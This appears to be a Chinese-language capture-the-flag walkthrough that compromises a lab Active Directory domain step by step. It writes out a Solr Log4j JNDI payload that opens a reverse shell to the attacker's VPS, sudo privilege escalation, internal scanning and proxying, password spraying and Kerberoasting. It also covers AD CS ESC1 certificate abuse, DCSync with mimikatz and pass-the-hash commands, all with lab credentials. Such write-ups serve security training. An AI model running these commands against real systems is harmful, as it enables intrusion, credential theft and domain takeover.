flag01

fscan扫描一下，扫描到了solr

Apache Solr 是一个开源的、基于 Java 的高性能搜索平台，用于对大型数据集进行全文搜索、结构化搜索和分析。

访问之后，solr版本是8.11.0，有个CVE-2019-0193，但没有利用成功；然后发现solr有log4j的组件，Solr log4j2 存在RCE，漏洞点如下：

/solr/admin/info?d=payload  #payload就是用来jndi注入的payload
/solr/admin/cores?action=payload  
/solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=payload&schema=schema.xml&wt=json  
/solr/admin/collections?action=payload

Solr log4j2 RCE 漏洞测试

先使用burp抓包，利用dnslog测试是否存在漏洞

1	/solr/admin/cores?action=${jndi:ldap://xxx.dnslog.cn}#xxx.dnslog.cn在dnslog获取

发现dnslog有回显，说明payload成功执行，漏洞可以利用
不了解jndi的可以看
https://xz.aliyun.com/news/11723

漏洞利用

在服务器上下载一个JNDIExploit-1.3,并用它开启一个ldap服务

1	java -jar xxx.jar -i vpsip #1389，9999监听端口要开启

nc -lvnp 9999 开启监听，反弹shell

在漏洞点执行payload,

1	/solr/admin/cores?action=${jndi:ldap://vps:1389/Basic/ReverseShell/vps/9999}

payload执行后，就得到shell
直接查看flag是没有权限的，想办法提权，尝试suid提权，没什么能利用的

使用sudo -l 发现有一个grc可以用。
sudo grc --pty /bin/bash提权

查看flag
flag{86c36589-ad98-418b-87ea-a7383c2e0fa4

flag02

服务器开启http服务

在机器上上传fscan chisel

添加执行权限

查看机器的内网ip,为172.22.9.19

fscan扫描内网


./fscan -h 172.22.9.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.26     is alive
(icmp) Target 172.22.9.47     is alive
[*] Icmp alive hosts len is: 4
172.22.9.7:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.47:80 open
172.22.9.47:445 open
172.22.9.26:445 open
172.22.9.7:445 open
172.22.9.26:135 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.7:135 open
172.22.9.7:88 open
172.22.9.19:8983 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetInfo 
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] NetInfo 
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.9.7      [+] DC:XIAORANG\XIAORANG-DC    
[*] WebTitle http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.47     fileserver                          Windows 6.1
[*] WebTitle http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] OsInfo 172.22.9.47  (Windows 6.1)
[*] WebTitle http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect 
已完成 15/16 [-] ftp 172.22.9.47:21 ftp ftp123 530 Login incorrect.

得到内网信息

172.22.9.7 DC
172.22.9.19  已拿下
172.22.9.26   域内用户
172.22.9.47  fileserver
  
172.22.9.13 XIAORANG\CA01 证书服务器

内网穿透

服务端监听

内网机器执行

这样搭建代理就成功了

smb

因为题目提示的有SMB，且47这台机器是fileserver
尝试连接，成功连接
proxychains smbclient \\172.22.9.47\fileshare

查看目录下有个secret文件，进去之后找到flag02

flag03&flag04

除了flag文件，还有个数据库文件，下载出来查看

发现有两个表，一个有密码，一个有域内用户名

密码

用户名

密码喷洒

使用kerbrute枚举出有效用户名

1	kerbrute_windows_amd64.exe userenum --dc 172.22.9.7 -d xiaorang.lab user.txt

得到有效用户后，密码喷洒

1	kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user1.txt fiAzGwEMgTY

1	kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user1.txt i9XDE02pLVf

得到用户密码

1 2	zhangjian:i9XDE02pLVf liupeng:fiAzGwEMgTY

直接rdp登陆不成功

其他密码喷洒方式

1
2
3

proxychains4 crackmapexec smb  172.22.9.26 -u user.txt -p pass.txt
或者
proxychains4 hydra -L user.txt -P pass.txt 172.22.9.26 rdp >>result.txt

SPN

查找域用户下的spn
因为题目flag01提示的有SPN

1
2

SPN，ServicePrincipal Names，即服务主体名称，是服务实例（比如：HTTP、SMB、MySQL等服务）在使用 Kerberos 身份验证的网络上的唯一标识符，其由服务类、主机名和端口组成
SPN 分为两种类型：一种是注册在活动目录的机器帐户（Computers）下。当一个服务的权限为 Local System 或 Network Service 时，则 SPN 注册在机器帐户（Computers）下。另一种是注册在活动目录的域用户帐户（Users）下，当一个服务的权限为一个域用户时，则 SPN 注册在域用户帐户（Users）下。

使用py查找域用户下的spn，

Kerberoasting

Kerberoasting攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket)，加密算法为RC4-HMAC，如果获得这个ST票据，我们可以尝试穷举口令，模拟加密过程，进行破解。

获取ST票据
使用impacket的 GetUserSPNs.py来获得注册在xiaorang.lab\liupeng用户下的SPN的服务票据（ST）

1
2
3

proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

proxychains4 python3 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user chenchen

破解hash
hashcat.exe -m 13100 -a 0 hash.txt rockyou.txt –force

得到服务账户的账号密码

1 2	zhangxia:MyPass2@@6 chenchen:@Passw0rd@

AD CS 攻击

利用之前先了解一些相关知识
ADCS（Active Directory Certificate Services）是 Windows 服务器的一个重要角色，它为网络中的通信和交易提供了公钥基础设施（PKI）。在网络安全领域，ADCS 也是一个常见的攻击目标，尤其是在配置错误或权限控制不当的情况下。
证书
证书是一个小文件，此文件包含了公钥信息、拥有者身份信息、以及数字证书认证机构对这份文件的数字签名，以保证这个文件的整体内容正确无误。
拥有者凭此文件，可向电脑系统或者其他用户表明身份，从而获得对方的信任并授权访问或使用某些敏感的电脑服务。在证书注册过程中，客户端会生成公钥/私钥对，然后客户端将公钥发送到CA，而CA会确认客户端信息，用自己的私钥对其进行签名，随后再将包含客户端公钥的证书发送回客户端。
证书模板
证书模板定义了用户和设备如何根据模板来请求和使用企业CA颁发的证书。例如你可以创建一个模板来提供文件加密或电子邮件签名功能。CA依赖于ADDS来存储配置的模板。注意，只有在使用企业CA时才可以使用证书模板，这意味着，在使用独立CA时，必须手动创建每个证书请求，并添加需要在证书中包含的必须信息。
证书模板错误配置漏洞
ESC1: 通过配置错误的证书模板（如 VulnTemplate），允许域用户注册并指定任意的主体替代名称 (SAN)，这可能导致伪装成其他用户（如域管理员）

方法一

方法一和方法二的区别是方法一通过连接内网的远程桌面，在目标机器上直接上传工具操作，而方法二是用kali通过代理直接操作，使用kali更方便一些。

可以直接在本机通过proxifier搭全局代理远程桌面连接，我这里是本机远程桌面没登陆成功，所以我通过kali的远程桌面连接内网主机

远程连接桌面

1	proxychains4 rdesktop 172.22.9.26 -u zhangxia -d xiaorang.lab -p 'MyPass2@@6' -r disk:share=/home/kali/Desktop

如果显示版本过老可以使用下面的命令

1	proxychains4 xfreerdp /v:172.22.9.26 /u:zhangxia /d:xiaorang.lab /p:'MyPass2@@6' /drive:share,/home/kali/Desktop +clipboard /cert:ignore

远程桌面连接后，上传cerity和Rubeus工具；工具可以自己编译也可以在下方链接下载
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

因为远成登陆后没有管理员权限，无法查看administrator目录下的flag，因此需要尝试获得域管理员权限，题目提示的有AD CS ,因此尝试AD CS攻击

先使用下面命令检查有没有证书配置错误，

1
2
3

cerity.exe find /vulnerable
或者
certutil -v -template > cert_templates.txt

当证书配置满足下面三个条件时，就存在证书模板错误配置漏洞ESC1

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户
 
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
 
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

恰好，该机器满足条件可以利用。

漏洞利用

通过证书模板为域管申请证书

1	Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

然后换算pem到pfx，不要输入密码

通过证书请求TGT票据

1	Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

导入票据之后,通过dcsync抓取hash,得到管理员hash

1	mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" "exit"

方法二

通过kali直接利用找管理员hash
下载Certipy

1 2	git clone https://github.com/ly4k/Certipy.git python3 setup.py install

查看证书配置

1	proxychains certipy find -u 'liupeng@xiaorang.lab' -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

满足esc1条件

为域管申请证书

1	proxychains4 certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager' -upn administrator@xiaorang.lab

如果在给管理员申请证书时，出现以上的超时，可以把以下的加入host文件

1 2	172.22.9.7 XIAORANG-DC.xiaorang.lab 172.22.9.13 CA01.xiaorang.lab

如果还出现申请不成功，可能是代理链导致请求延迟过高，使用-q 多申请几遍

1	proxychains -q certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager' -upn administrator@xiaorang.lab

使用申请到的证书拿管理员hash

1	proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

以下的操作方法一、二相同
得到管理员hash后，横向移动

1	proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

1	proxychains crackmapexec smb 172.22.9.7 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"